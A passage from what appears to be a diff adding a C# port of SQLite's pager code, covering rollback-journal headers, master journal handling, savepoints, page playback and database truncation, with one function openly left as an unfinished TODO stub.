(u16)iPageSize ); + + /* Update the assumed sector-size to match the value used by + ** the process that created this journal. If this journal was + ** created by a process other than this one, then this routine + ** is being called from within pager_playback(). The local value + ** of Pager.sectorSize is restored at the end of that routine. + */ + pPager.sectorSize = iSectorSize; + } + + pPager.journalOff += (int)JOURNAL_HDR_SZ( pPager ); + return rc; + } + + /* + ** Write the supplied master journal name into the journal file for pager + ** pPager at the current location. The master journal name must be the last + ** thing written to a journal file. If the pager is in full-sync mode, the + ** journal file descriptor is advanced to the next sector boundary before + ** anything is written. The format is: + ** + ** + 4 bytes: PAGER_MJ_PGNO. + ** + N bytes: Master journal filename in utf-8. + ** + 4 bytes: N (length of master journal name in bytes, no nul-terminator). + ** + 4 bytes: Master journal name checksum. + ** + 8 bytes: aJournalMagic[]. + ** + ** The master journal page checksum is the sum of the bytes in the master + ** journal name, where each byte is interpreted as a signed 8-bit integer. + ** + ** If zMaster is a NULL pointer (occurs for a single database transaction), + ** this call is a no-op. + */ + static int writeMasterJournal( Pager pPager, string zMaster ) + { + int rc; /* Return code */ + int nMaster; /* Length of string zMaster */ + i64 iHdrOff; /* Offset of header in journal file */ + int jrnlSize = 0; /* Size of journal file on disk */ + u32 cksum = 0; /* Checksum of string zMaster */ + + if ( null == zMaster || pPager.setMaster != 0 + || pPager.journalMode == PAGER_JOURNALMODE_MEMORY + || pPager.journalMode == PAGER_JOURNALMODE_OFF + ) + { + return SQLITE_OK; + } + + pPager.setMaster = 1; + Debug.Assert( isOpen( pPager.jfd ) ); + + /* Calculate the length in bytes and the checksum of zMaster */ + for ( nMaster = 0 ; nMaster < zMaster.Length && zMaster[nMaster] != 0 ; nMaster++ ) + { + cksum += zMaster[nMaster]; + } + + /* If in full-sync mode, advance to the next disk sector before writing + ** the master journal name. This is in case the previous page written to + ** the journal has already been synced. + */ + if ( pPager.fullSync ) + { + pPager.journalOff = journalHdrOffset( pPager ); + } + iHdrOff = pPager.journalOff; + /* Write the master journal data to the end of the journal file. If + ** an error occurs, return the error code to the caller. + */ + if ( ( 0 != ( rc = write32bits( pPager.jfd, iHdrOff, (u32)PAGER_MJ_PGNO( pPager ) ) ) ) + || ( 0 != ( rc = sqlite3OsWrite( pPager.jfd, Encoding.UTF8.GetBytes( zMaster ), nMaster, iHdrOff + 4 ) ) ) + || ( 0 != ( rc = write32bits( pPager.jfd, iHdrOff + 4 + nMaster, (u32)nMaster ) ) ) + || ( 0 != ( rc = write32bits( pPager.jfd, iHdrOff + 4 + nMaster + 4, cksum ) ) ) + || ( 0 != ( rc = sqlite3OsWrite( pPager.jfd, aJournalMagic, 8, iHdrOff + 4 + nMaster + 8 ) ) ) + ) + { + return rc; + } + pPager.journalOff += ( nMaster + 20 ); + pPager.needSync = !pPager.noSync; + + /* If the pager is in peristent-journal mode, then the physical + ** journal-file may extend past the end of the master-journal name + ** and 8 bytes of magic data just written to the file. This is + ** dangerous because the code to rollback a hot-journal file + ** will not be able to find the master-journal name to determine + ** whether or not the journal is hot. + ** + ** Easiest thing to do in this scenario is to truncate the journal + ** file to the required size. + */ + if ( SQLITE_OK == ( rc = sqlite3OsFileSize( pPager.jfd, ref jrnlSize ) ) + && jrnlSize > pPager.journalOff + ) + { + rc = sqlite3OsTruncate( pPager.jfd, pPager.journalOff ); + } + + return rc; + } + + /* + ** Find a page in the hash table given its page number. Return + ** a pointer to the page or NULL if the requested page is not + ** already in memory. + */ + static PgHdr pager_lookup( Pager pPager, u32 pgno ) + { + PgHdr p = null; /* Return value */ + /* It is not possible for a call to PcacheFetch() with createFlag==0 to + ** fail, since no attempt to allocate dynamic memory will be made. + */ + sqlite3PcacheFetch( pPager.pPCache, pgno, 0, ref p ); + return p; + } + + /* + ** Unless the pager is in error-state, discard all in-memory pages. If + ** the pager is in error-state, then this call is a no-op. + ** + ** TODO: Why can we not reset the pager while in error state? + */ + static void pager_reset( Pager pPager ) + { + if ( SQLITE_OK == pPager.errCode ) + { + sqlite3BackupRestart( pPager.pBackup ); + sqlite3PcacheClear( pPager.pPCache ); + pPager.dbSizeValid = false; + } + } + + /* + ** Free all structures in the Pager.aSavepoint[] array and set both + ** Pager.aSavepoint and Pager.nSavepoint to zero. Close the sub-journal + ** if it is open and the pager is not in exclusive mode. + */ + static void releaseAllSavepoints( Pager pPager ) + { + int ii; /* Iterator for looping through Pager.aSavepoint */ + for ( ii = 0 ; ii < pPager.nSavepoint ; ii++ ) + { + sqlite3BitvecDestroy( ref pPager.aSavepoint[ii].pInSavepoint ); + } + if ( !pPager.exclusiveMode || sqlite3IsMemJournal( pPager.sjfd ) ) + { + sqlite3OsClose( pPager.sjfd ); + } + //sqlite3_free( ref pPager.aSavepoint ); + pPager.aSavepoint = null; + pPager.nSavepoint = 0; + pPager.nSubRec = 0; + } + + /* + ** Set the bit number pgno in the PagerSavepoint.pInSavepoint + ** bitvecs of all open savepoints. Return SQLITE_OK if successful + ** or SQLITE_NOMEM if a malloc failure occurs. + */ + static int addToSavepointBitvecs( Pager pPager, u32 pgno ) + { + int ii; /* Loop counter */ + int rc = SQLITE_OK; /* Result code */ + + for ( ii = 0 ; ii < pPager.nSavepoint ; ii++ ) + { + PagerSavepoint p = pPager.aSavepoint[ii]; + if ( pgno <= p.nOrig ) + { + rc |= sqlite3BitvecSet( p.pInSavepoint, pgno ); + testcase( rc == SQLITE_NOMEM ); + Debug.Assert( rc == SQLITE_OK || rc == SQLITE_NOMEM ); + } + } + return rc; + } + + /* + ** Unlock the database file. This function is a no-op if the pager + ** is in exclusive mode. + ** + ** If the pager is currently in error state, discard the contents of + ** the cache and reset the Pager structure internal state. If there is + ** an open journal-file, then the next time a shared-lock is obtained + ** on the pager file (by this or any other process), it will be + ** treated as a hot-journal and rolled back. + */ + static void pager_unlock( Pager pPager ) + { + if ( !pPager.exclusiveMode ) + { + int rc; /* Return code */ + + /* Always close the journal file when dropping the database lock. + ** Otherwise, another connection with journal_mode=delete might + ** delete the file out from under us. + */ + sqlite3OsClose( pPager.jfd ); + sqlite3BitvecDestroy( ref pPager.pInJournal ); + pPager.pInJournal = null; + releaseAllSavepoints( pPager ); + + /* If the file is unlocked, somebody else might change it. The + ** values stored in Pager.dbSize etc. might become invalid if + ** this happens. TODO: Really, this doesn't need to be cleared + ** until the change-counter check fails in PagerSharedLock(). + */ + pPager.dbSizeValid = false; + rc = osUnlock( pPager.fd, NO_LOCK ); + if ( rc != 0 ) + { + pPager.errCode = rc; + } + IOTRACE( "UNLOCK %p\n", pPager ); + /* If Pager.errCode is set, the contents of the pager cache cannot be + ** trusted. Now that the pager file is unlocked, the contents of the + ** cache can be discarded and the error code safely cleared. + */ + if ( pPager.errCode != 0 ) + { + if ( rc == SQLITE_OK ) + { + pPager.errCode = SQLITE_OK; + } + pager_reset( pPager ); + } + + pPager.changeCountDone = false; + pPager.state = PAGER_UNLOCK; + } + } + + /* + ** This function should be called when an IOERR, CORRUPT or FULL error + ** may have occurred. The first argument is a pointer to the pager + ** structure, the second the error-code about to be returned by a pager + ** API function. The value returned is a copy of the second argument + ** to this function. + ** + ** If the second argument is SQLITE_IOERR, SQLITE_CORRUPT, or SQLITE_FULL + ** the error becomes persistent. Until the persisten error is cleared, + ** subsequent API calls on this Pager will immediately return the same + ** error code. + ** + ** A persistent error indicates that the contents of the pager-cache + ** cannot be trusted. This state can be cleared by completely discarding + ** the contents of the pager-cache. If a transaction was active when + ** the persistent error occurred, then the rollback journal may need + ** to be replayed to restore the contents of the database file (as if + ** it were a hot-journal). + */ + static int pager_error( Pager pPager, int rc ) + { + int rc2 = rc & 0xff; + Debug.Assert( rc==SQLITE_OK || +#if SQLITE_OMIT_MEMORYDB +0==MEMDB +#else + 0 == pPager.memDb +#endif + ); + Debug.Assert( + pPager.errCode == SQLITE_FULL || + pPager.errCode == SQLITE_OK || + ( pPager.errCode & 0xff ) == SQLITE_IOERR + ); + if ( + rc2 == SQLITE_FULL || rc2 == SQLITE_IOERR ) + { + pPager.errCode = rc; + } + return rc; + } + + /* + ** Execute a rollback if a transaction is active and unlock the + ** database file. + ** + ** If the pager has already entered the error state, do not attempt + ** the rollback at this time. Instead, pager_unlock() is called. The + ** call to pager_unlock() will discard all in-memory pages, unlock + ** the database file and clear the error state. If this means that + ** there is a hot-journal left in the file-system, the next connection + ** to obtain a shared lock on the pager (which may be this one) will + ** roll it back. + ** + ** If the pager has not already entered the error state, but an IO or + ** malloc error occurs during a rollback, then this will itself cause + ** the pager to enter the error state. Which will be cleared by the + ** call to pager_unlock(), as described above. + */ + static void pagerUnlockAndRollback( Pager pPager ) + { + if ( pPager.errCode == SQLITE_OK && pPager.state >= PAGER_RESERVED ) + { + sqlite3BeginBenignMalloc(); + sqlite3PagerRollback( pPager ); + sqlite3EndBenignMalloc(); + } + pager_unlock( pPager ); + } + + /* + ** This routine ends a transaction. A transaction is usually ended by + ** either a COMMIT or a ROLLBACK operation. This routine may be called + ** after rollback of a hot-journal, or if an error occurs while opening + ** the journal file or writing the very first journal-header of a + ** database transaction. + ** + ** If the pager is in PAGER_SHARED or PAGER_UNLOCK state when this + ** routine is called, it is a no-op (returns SQLITE_OK). + ** + ** Otherwise, any active savepoints are released. + ** + ** If the journal file is open, then it is "finalized". Once a journal + ** file has been finalized it is not possible to use it to roll back a + ** transaction. Nor will it be considered to be a hot-journal by this + ** or any other database connection. Exactly how a journal is finalized + ** depends on whether or not the pager is running in exclusive mode and + ** the current journal-mode (Pager.journalMode value), as follows: + ** + ** journalMode==MEMORY + ** Journal file descriptor is simply closed. This destroys an + ** in-memory journal. + ** + ** journalMode==TRUNCATE + ** Journal file is truncated to zero bytes in size. + ** + ** journalMode==PERSIST + ** The first 28 bytes of the journal file are zeroed. This invalidates + ** the first journal header in the file, and hence the entire journal + ** file. An invalid journal file cannot be rolled back. + ** + ** journalMode==DELETE + ** The journal file is closed and deleted using sqlite3OsDelete(). + ** + ** If the pager is running in exclusive mode, this method of finalizing + ** the journal file is never used. Instead, if the journalMode is + ** DELETE and the pager is in exclusive mode, the method described under + ** journalMode==PERSIST is used instead. + ** + ** After the journal is finalized, if running in non-exclusive mode, the + ** pager moves to PAGER_SHARED state (and downgrades the lock on the + ** database file accordingly). + ** + ** If the pager is running in exclusive mode and is in PAGER_SYNCED state, + ** it moves to PAGER_EXCLUSIVE. No locks are downgraded when running in + ** exclusive mode. + ** + ** SQLITE_OK is returned if no error occurs. If an error occurs during + ** any of the IO operations to finalize the journal file or unlock the + ** database then the IO error code is returned to the user. If the + ** operation to finalize the journal file fails, then the code still + ** tries to unlock the database file if not in exclusive mode. If the + ** unlock operation fails as well, then the first error code related + ** to the first error encountered (the journal finalization one) is + ** returned. + */ + static int pager_end_transaction( Pager pPager, int hasMaster ) + { + int rc = SQLITE_OK; /* Error code from journal finalization operation */ + int rc2 = SQLITE_OK; /* Error code from db file unlock operation */ + if ( pPager.state < PAGER_RESERVED ) + { + return SQLITE_OK; + } + releaseAllSavepoints( pPager ); + Debug.Assert( isOpen( pPager.jfd ) || pPager.pInJournal == null ); + if ( isOpen( pPager.jfd ) ) + { + + /* Finalize the journal file. */ + if ( sqlite3IsMemJournal( pPager.jfd ) ) + { + Debug.Assert( pPager.journalMode == PAGER_JOURNALMODE_MEMORY ); + sqlite3OsClose( pPager.jfd ); + } + else if ( pPager.journalMode == PAGER_JOURNALMODE_TRUNCATE ) + { + if ( pPager.journalOff == 0 ) + { + rc = SQLITE_OK; + } + else + { + rc = sqlite3OsTruncate( pPager.jfd, 0 ); + } + pPager.journalOff = 0; + pPager.journalStarted = false; + } + else if ( pPager.exclusiveMode + || pPager.journalMode == PAGER_JOURNALMODE_PERSIST + ) + { + rc = zeroJournalHdr( pPager, hasMaster ); + pager_error( pPager, rc ); + pPager.journalOff = 0; + pPager.journalStarted = false; + } + else + { + /* This branch may be executed with Pager.journalMode==MEMORY if + ** a hot-journal was just rolled back. In this case the journal + ** file should be closed and deleted. If this connection writes to + ** the database file, it will do so using an in-memory journal. */ + Debug.Assert( pPager.journalMode == PAGER_JOURNALMODE_DELETE + || pPager.journalMode == PAGER_JOURNALMODE_MEMORY + ); + sqlite3OsClose( pPager.jfd ); + if ( !pPager.tempFile ) + { + rc = sqlite3OsDelete( pPager.pVfs, pPager.zJournal, 0 ); + } + } +#if SQLITE_CHECK_PAGES +sqlite3PcacheIterateDirty(pPager.pPCache, pager_set_pagehash); +#endif + sqlite3PcacheCleanAll( pPager.pPCache ); + + sqlite3BitvecDestroy( ref pPager.pInJournal ); + pPager.pInJournal = null; + pPager.nRec = 0; + } + + if ( !pPager.exclusiveMode ) + { + rc2 = osUnlock( pPager.fd, SHARED_LOCK ); + pPager.state = PAGER_SHARED; + pPager.changeCountDone = false; + } + else if ( pPager.state == PAGER_SYNCED ) + { + pPager.state = PAGER_EXCLUSIVE; + } + pPager.setMaster = 0; + pPager.needSync = false; + pPager.dbModified = false; + + /* TODO: Is this optimal? Why is the db size invalidated here + ** when the database file is not unlocked? */ + pPager.dbOrigSize = 0; + sqlite3PcacheTruncate( pPager.pPCache, pPager.dbSize ); + if ( +#if SQLITE_OMIT_MEMORYDB +0==MEMDB +#else + 0 == pPager.memDb +#endif + ) + { + pPager.dbSizeValid = false; + } + return ( rc == SQLITE_OK ? rc2 : rc ); + } + + /* + ** Parameter aData must point to a buffer of pPager.pageSize bytes + ** of data. Compute and return a checksum based ont the contents of the + ** page of data and the current value of pPager.cksumInit. + ** + ** This is not a real checksum. It is really just the sum of the + ** random initial value (pPager.cksumInit) and every 200th byte + ** of the page data, starting with byte offset (pPager.pageSize%200). + ** Each byte is interpreted as an 8-bit unsigned integer. + ** + ** Changing the formula used to compute this checksum results in an + ** incompatible journal file format. + ** + ** If journal corruption occurs due to a power failure, the most likely + ** scenario is that one end or the other of the record will be changed. + ** It is much less likely that the two ends of the journal record will be + ** correct and the middle be corrupt. Thus, this "checksum" scheme, + ** though fast and simple, catches the mostly likely kind of corruption. + */ + static u32 pager_cksum( Pager pPager, byte[] aData ) + { + u32 cksum = pPager.cksumInit; /* Checksum value to return */ + int i = pPager.pageSize - 200; /* Loop counter */ + while ( i > 0 ) + { + cksum += aData[i]; + i -= 200; + } + return cksum; + } + + /* + ** Read a single page from either the journal file (if isMainJrnl==1) or + ** from the sub-journal (if isMainJrnl==0) and playback that page. + ** The page begins at offset *pOffset into the file. The *pOffset + ** value is increased to the start of the next page in the journal. + ** + ** The isMainJrnl flag is true if this is the main rollback journal and + ** false for the statement journal. The main rollback journal uses + ** checksums - the statement journal does not. + ** + ** If the page number of the page record read from the (sub-)journal file + ** is greater than the current value of Pager.dbSize, then playback is + ** skipped and SQLITE_OK is returned. + ** + ** If pDone is not NULL, then it is a record of pages that have already + ** been played back. If the page at *pOffset has already been played back + ** (if the corresponding pDone bit is set) then skip the playback. + ** Make sure the pDone bit corresponding to the *pOffset page is set + ** prior to returning. + ** + ** If the page record is successfully read from the (sub-)journal file + ** and played back, then SQLITE_OK is returned. If an IO error occurs + ** while reading the record from the (sub-)journal file or while writing + ** to the database file, then the IO error code is returned. If data + ** is successfully read from the (sub-)journal file but appears to be + ** corrupted, SQLITE_DONE is returned. Data is considered corrupted in + ** two circumstances: + ** + ** * If the record page-number is illegal (0 or PAGER_MJ_PGNO), or + ** * If the record is being rolled back from the main journal file + ** and the checksum field does not match the record content. + ** + ** Neither of these two scenarios are possible during a savepoint rollback. + ** + ** If this is a savepoint rollback, then memory may have to be dynamically + ** allocated by this function. If this is the case and an allocation fails, + ** SQLITE_NOMEM is returned. + */ + static int pager_playback_one_page( + Pager pPager, /* The pager being played back */ + int isMainJrnl, /* True for main rollback journal. False for Stmt jrnl */ + int isUnsync, /* True if reading from unsynced main journal */ + ref i64 pOffset, /* Offset of record to playback */ + int isSavepnt, /* True for a savepoint rollback */ + Bitvec pDone /* Bitvec of pages already played back */ + ) + { + int rc; + PgHdr pPg; /* An existing page in the cache */ + Pgno pgno = 0; /* The page number of a page in journal */ + u32 cksum = 0; /* Checksum used for sanity checking */ + u8[] aData; /* Temporary storage for the page */ + sqlite3_file jfd; /* The file descriptor for the journal file */ + + Debug.Assert( ( isMainJrnl & ~1 ) == 0 ); /* isMainJrnl is 0 or 1 */ + Debug.Assert( ( isSavepnt & ~1 ) == 0 ); /* isSavepnt is 0 or 1 */ + Debug.Assert( isMainJrnl != 0 || pDone != null ); /* pDone always used on sub-journals */ + Debug.Assert( isSavepnt != 0 || pDone == null ); /* pDone never used on non-savepoint */ + + aData = pPager.pTmpSpace; + Debug.Assert( aData != null ); /* Temp storage must have already been allocated */ + + /* Read the page number and page data from the journal or sub-journal + ** file. Return an error code to the caller if an IO error occurs. + */ + jfd = isMainJrnl != 0 ? pPager.jfd : pPager.sjfd; + + rc = read32bits( jfd, pOffset, ref pgno ); + if ( rc != SQLITE_OK ) return rc; + rc = sqlite3OsRead( jfd, aData, pPager.pageSize, ( pOffset ) + 4 ); + if ( rc != SQLITE_OK ) return rc; + pOffset += pPager.pageSize + 4 + isMainJrnl * 4; + + /* Sanity checking on the page. This is more important that I originally + ** thought. If a power failure occurs while the journal is being written, + ** it could cause invalid data to be written into the journal. We need to + ** detect this invalid data (with high probability) and ignore it. + */ + if ( pgno == 0 || pgno == PAGER_MJ_PGNO( pPager ) ) + { + Debug.Assert( 0 == isSavepnt ); + return SQLITE_DONE; + } + if ( pgno > pPager.dbSize || sqlite3BitvecTest( pDone, pgno ) != 0 ) + { + return SQLITE_OK; + } + if ( isMainJrnl != 0 ) + { + rc = read32bits( jfd, ( pOffset ) - 4, ref cksum ); + if ( rc != 0 ) return rc; + if ( 0 == isSavepnt && pager_cksum( pPager, aData ) != cksum ) + { + return SQLITE_DONE; + } + } + + if ( pDone != null && ( rc = sqlite3BitvecSet( pDone, pgno ) ) != SQLITE_OK ) + { + return rc; + } + + Debug.Assert( pPager.state == PAGER_RESERVED || pPager.state >= PAGER_EXCLUSIVE ); + + /* If the pager is in RESERVED state, then there must be a copy of this + ** page in the pager cache. In this case just update the pager cache, + ** not the database file. The page is left marked dirty in this case. + ** + ** An exception to the above rule: If the database is in no-sync mode + ** and a page is moved during an incremental vacuum then the page may + ** not be in the pager cache. Later: if a malloc() or IO error occurs + ** during a Movepage() call, then the page may not be in the cache + ** either. So the condition described in the above paragraph is not + ** Debug.Assert()able. + ** + ** If in EXCLUSIVE state, then we update the pager cache if it exists + ** and the main file. The page is then marked not dirty. + ** + ** Ticket #1171: The statement journal might contain page content that is + ** different from the page content at the start of the transaction. + ** This occurs when a page is changed prior to the start of a statement + ** then changed again within the statement. When rolling back such a + ** statement we must not write to the original database unless we know + ** for certain that original page contents are synced into the main rollback + ** journal. Otherwise, a power loss might leave modified data in the + ** database file without an entry in the rollback journal that can + ** restore the database to its original form. Two conditions must be + ** met before writing to the database files. (1) the database must be + ** locked. (2) we know that the original page content is fully synced + ** in the main journal either because the page is not in cache or else + ** the page is marked as needSync==0. + ** + ** 2008-04-14: When attempting to vacuum a corrupt database file, it + ** is possible to fail a statement on a database that does not yet exist. + ** Do not attempt to write if database file has never been opened. + */ + pPg = pager_lookup( pPager, pgno ); + Debug.Assert( pPg != null || +#if SQLITE_OMIT_MEMORYDB +0==MEMDB +#else + pPager.memDb == 0 +#endif + ); + + + PAGERTRACE( "PLAYBACK %d page %d hash(%08x) %s\n", + PAGERID( pPager ), pgno, pager_datahash( pPager.pageSize, aData ), + ( isMainJrnl != 0 ? "main-journal" : "sub-journal" ) + ); + if ( ( pPager.state >= PAGER_EXCLUSIVE ) + && ( pPg == null || 0 == ( pPg.flags & PGHDR_NEED_SYNC ) ) + && isOpen( pPager.fd ) + && 0 == isUnsync + ) + { + i64 ofst = ( pgno - 1 ) * (i64)pPager.pageSize; + rc = sqlite3OsWrite( pPager.fd, aData, pPager.pageSize, ofst ); + if ( pgno > pPager.dbFileSize ) + { + pPager.dbFileSize = (u32)pgno; + } + if ( pPager.pBackup != null ) + { +#if SQLITE_HAS_CODEC +CODEC1( pPager, aData, pgno, 3, rc = SQLITE_NOMEM ); +#endif + sqlite3BackupUpdate( pPager.pBackup, pgno, aData ); +#if SQLITE_HAS_CODEC +CODEC1( pPager, aData, pgno, 0, rc = SQLITE_NOMEM ); +#endif + } + } + else if ( 0 == isMainJrnl && pPg == null ) + { + /* If this is a rollback of a savepoint and data was not written to + ** the database and the page is not in-memory, there is a potential + ** problem. When the page is next fetched by the b-tree layer, it + ** will be read from the database file, which may or may not be + ** current. + ** + ** There are a couple of different ways this can happen. All are quite + ** obscure. When running in synchronous mode, this can only happen + ** if the page is on the free-list at the start of the transaction, then + ** populated, then moved using sqlite3PagerMovepage(). + ** + ** The solution is to add an in-memory page to the cache containing + ** the data just read from the sub-journal. Mark the page as dirty + ** and if the pager requires a journal-sync, then mark the page as + ** requiring a journal-sync before it is written. + */ + Debug.Assert( isSavepnt != 0 ); + if ( ( rc = sqlite3PagerAcquire( pPager, (u32)pgno, ref pPg, 1 ) ) != SQLITE_OK ) + { + return rc; + } + pPg.flags &= ~PGHDR_NEED_READ; + sqlite3PcacheMakeDirty( pPg ); + } + if ( pPg != null ) + { + /* No page should ever be explicitly rolled back that is in use, except + ** for page 1 which is held in use in order to keep the lock on the + ** database active. However such a page may be rolled back as a result + ** of an internal error resulting in an automatic call to + ** sqlite3PagerRollback(). + */ + byte[] pData = pPg.pData; + Buffer.BlockCopy( aData, 0, pData, 0, pPager.pageSize );// memcpy(pData, aData, pPager.pageSize); + pPager.xReiniter( pPg ); + if ( isMainJrnl != 0 && ( 0 == isSavepnt || pOffset <= pPager.journalHdr ) ) + { + /* If the contents of this page were just restored from the main + ** journal file, then its content must be as they were when the + ** transaction was first opened. In this case we can mark the page + ** as clean, since there will be no need to write it out to the. + ** + ** There is one exception to this rule. If the page is being rolled + ** back as part of a savepoint (or statement) rollback from an + ** unsynced portion of the main journal file, then it is not safe + ** to mark the page as clean. This is because marking the page as + ** clean will clear the PGHDR_NEED_SYNC flag. Since the page is + ** already in the journal file (recorded in Pager.pInJournal) and + ** the PGHDR_NEED_SYNC flag is cleared, if the page is written to + ** again within this transaction, it will be marked as dirty but + ** the PGHDR_NEED_SYNC flag will not be set. It could then potentially + ** be written out into the database file before its journal file + ** segment is synced. If a crash occurs during or following this, + ** database corruption may ensue. + */ + + sqlite3PcacheMakeClean( pPg ); + } +#if SQLITE_CHECK_PAGES +pPg.pageHash = pager_pagehash(pPg); +#endif + /* If this was page 1, then restore the value of Pager.dbFileVers. +** Do this before any decoding. */ + if ( pgno == 1 ) + { + Buffer.BlockCopy( pData, 24, pPager.dbFileVers, 0, pPager.dbFileVers.Length ); //memcpy(pPager.dbFileVers, ((u8*)pData)[24], sizeof(pPager.dbFileVers)); + } + + /* Decode the page just read from disk */ +#if SQLITE_HAS_CODEC +CODEC1(pPager, pData, pPg.pgno, 3, rc=SQLITE_NOMEM); +#endif + sqlite3PcacheRelease( pPg ); + } + return rc; + } + + /* + ** Parameter zMaster is the name of a master journal file. A single journal + ** file that referred to the master journal file has just been rolled back. + ** This routine checks if it is possible to delete the master journal file, + ** and does so if it is. + ** + ** Argument zMaster may point to Pager.pTmpSpace. So that buffer is not + ** available for use within this function. + ** + ** When a master journal file is created, it is populated with the names + ** of all of its child journals, one after another, formatted as utf-8 + ** encoded text. The end of each child journal file is marked with a + ** nul-terminator byte (0x00). i.e. the entire contents of a master journal + ** file for a transaction involving two databases might be: + ** + ** "/home/bill/a.db-journal\x00/home/bill/b.db-journal\x00" + ** + ** A master journal file may only be deleted once all of its child + ** journals have been rolled back. + ** + ** This function reads the contents of the master-journal file into + ** memory and loops through each of the child journal names. For + ** each child journal, it checks if: + ** + ** * if the child journal exists, and if so + ** * if the child journal contains a reference to master journal + ** file zMaster + ** + ** If a child journal can be found that matches both of the criteria + ** above, this function returns without doing anything. Otherwise, if + ** no such child journal can be found, file zMaster is deleted from + ** the file-system using sqlite3OsDelete(). + ** + ** If an IO error within this function, an error code is returned. This + ** function allocates memory by calling sqlite3Malloc(). If an allocation + ** fails, SQLITE_NOMEM is returned. Otherwise, if no IO or malloc errors + ** occur, SQLITE_OK is returned. + ** + ** TODO: This function allocates a single block of memory to load + ** the entire contents of the master journal file. This could be + ** a couple of kilobytes or so - potentially larger than the page + ** size. + */ + static int pager_delmaster( Pager pPager, string zMaster ) + { + sqlite3_vfs pVfs = pPager.pVfs; + int rc; /* Return code */ + sqlite3_file pMaster; /* Malloc'd master-journal file descriptor */ + sqlite3_file pJournal; /* Malloc'd child-journal file descriptor */ + string zMasterJournal = null; /* Contents of master journal file */ + i64 nMasterJournal; /* Size of master journal file */ + + /* Allocate space for both the pJournal and pMaster file descriptors. + ** If successful, open the master journal file for reading. + */ + pMaster = new sqlite3_file();// (sqlite3_file*)sqlite3MallocZero( pVfs.szOsFile * 2 ); + pJournal = new sqlite3_file();// (sqlite3_file*)( ( (u8*)pMaster ) + pVfs.szOsFile ); + if ( null == pMaster ) + { + rc = SQLITE_NOMEM; + } + else + { + const int flags = ( SQLITE_OPEN_READONLY | SQLITE_OPEN_MASTER_JOURNAL ); + int iDummy = 0; + rc = sqlite3OsOpen( pVfs, zMaster, pMaster, flags, ref iDummy ); + } + if ( rc != SQLITE_OK ) goto delmaster_out; + + Debugger.Break(); //TODO -- + //rc = sqlite3OsFileSize( pMaster, &nMasterJournal ); + //if ( rc != SQLITE_OK ) goto delmaster_out; + + //if ( nMasterJournal > 0 ) + //{ + // char* zJournal; + // char* zMasterPtr = 0; + // int nMasterPtr = pVfs.mxPathname + 1; + + // /* Load the entire master journal file into space obtained from + // ** sqlite3_malloc() and pointed to by zMasterJournal. + // */ + // zMasterJournal = sqlite3Malloc((int)nMasterJournal + nMasterPtr + 1); + // if ( !zMasterJournal ) + // { + // rc = SQLITE_NOMEM; + // goto delmaster_out; + // } + // zMasterPtr = &zMasterJournal[nMasterJournal+1]; + // rc = sqlite3OsRead( pMaster, zMasterJournal, (int)nMasterJournal, 0 ); + // if ( rc != SQLITE_OK ) goto delmaster_out; + // zMasterJournal[nMasterJournal] = 0; + + + // zJournal = zMasterJournal; + // while ( ( zJournal - zMasterJournal ) < nMasterJournal ) + // { + // int exists; + // rc = sqlite3OsAccess( pVfs, zJournal, SQLITE_ACCESS_EXISTS, &exists ); + // if ( rc != SQLITE_OK ) + // { + // goto delmaster_out; + // } + // if ( exists ) + // { + // /* One of the journals pointed to by the master journal exists. + // ** Open it and check if it points at the master journal. If + // ** so, return without deleting the master journal file. + // */ + // int c; + // int flags = ( SQLITE_OPEN_READONLY | SQLITE_OPEN_MAIN_JOURNAL ); + // rc = sqlite3OsOpen( pVfs, zJournal, pJournal, flags, 0 ); + // if ( rc != SQLITE_OK ) + // { + // goto delmaster_out; + // } + + // rc = readMasterJournal( pJournal, zMasterPtr, nMasterPtr ); + // sqlite3OsClose( pJournal ); + // if ( rc != SQLITE_OK ) + // { + // goto delmaster_out; + // } + + // c = zMasterPtr[0] != 0 && strcmp( zMasterPtr, zMaster ) == 0; + // if ( c ) + // { + // /* We have a match. Do not delete the master journal file. */ + // goto delmaster_out; + // } + // } + // zJournal += ( sqlite3Strlen30( zJournal ) + 1 ); + // } + //} + + //rc = sqlite3OsDelete( pVfs, zMaster, 0 ); + + + goto delmaster_out; +delmaster_out: + if ( zMasterJournal != null ) + { + //sqlite3_free( ref zMasterJournal ); + } + if ( pMaster != null ) + { + sqlite3OsClose( pMaster ); + Debug.Assert( !isOpen( pJournal ) ); + } + //sqlite3_free( ref pMaster ); + return rc; + } + + + + /* + ** This function is used to change the actual size of the database + ** file in the file-system. This only happens when committing a transaction, + ** or rolling back a transaction (including rolling back a hot-journal). + ** + ** If the main database file is not open, or an exclusive lock is not + ** held, this function is a no-op. Otherwise, the size of the file is + ** changed to nPage pages (nPage*pPager.pageSize bytes). If the file + ** on disk is currently larger than nPage pages, then use the VFS + ** xTruncate() method to truncate it. + ** + ** Or, it might might be the case that the file on disk is smaller than + ** nPage pages. Some operating system implementations can get confused if + ** you try to truncate a file to some size that is larger than it + ** currently is, so detect this case and write a single zero byte to + ** the end of the new file instead. + ** + ** If successful, return SQLITE_OK. If an IO error occurs while modifying + ** the database file, return the error code to the caller. + */ + static int pager_truncate( Pager pPager, u32 nPage ) + { + int rc = SQLITE_OK; + if ( pPager.state >= PAGER_EXCLUSIVE && isOpen( pPager.fd ) ) + { + int currentSize = 0; int newSize; + /* TODO: Is it safe to use Pager.dbFileSize here? */ + rc = sqlite3OsFileSize( pPager.fd, ref currentSize ); + newSize = (int)( pPager.pageSize * nPage ); + if ( rc == SQLITE_OK && currentSize != newSize ) + { + if ( currentSize > newSize ) + { + rc = sqlite3OsTruncate( pPager.fd, newSize ); + } + else + { + rc = sqlite3OsWrite( pPager.fd, new byte[1], 1, newSize - 1 ); + } + if ( rc == SQLITE_OK ) + { + pPager.dbSize = nPage; + } + } + } + return rc; + } + + /* + ** Set the value of the Pager.sectorSize variable for the given + ** pager based on the value returned by the xSectorSize method + ** of the open database file. The sector size will be used used + ** to determine the size and alignment of journal header and + ** master journal pointers within created journal files. + ** + ** For temporary files the effective sector size is always 512 bytes. + ** + ** Otherwise, for non-temporary files, the effective sector size is + ** the value returned by the xSectorSize() method rounded up to 512 if + ** it is less than 512, or rounded down to MAX_SECTOR_SIZE if it + ** is greater than MAX_SECTOR_SIZE. + */ + static void setSectorSize( Pager pPager ) + { + Debug.Assert( isOpen( pPager.fd ) || pPager.tempFile ); + if ( !pPager.tempFile ) + { + /* Sector size doesn't matter for temporary files. Also, the file + ** may not have been opened yet, in which case the OsSectorSize() + ** call will segfault. + */ + pPager.sectorSize = (u32)sqlite3OsSectorSize( pPager.fd ); + } + if ( pPager.sectorSize < 512 ) + { + Debug.Assert( MAX_SECTOR_SIZE >= 512 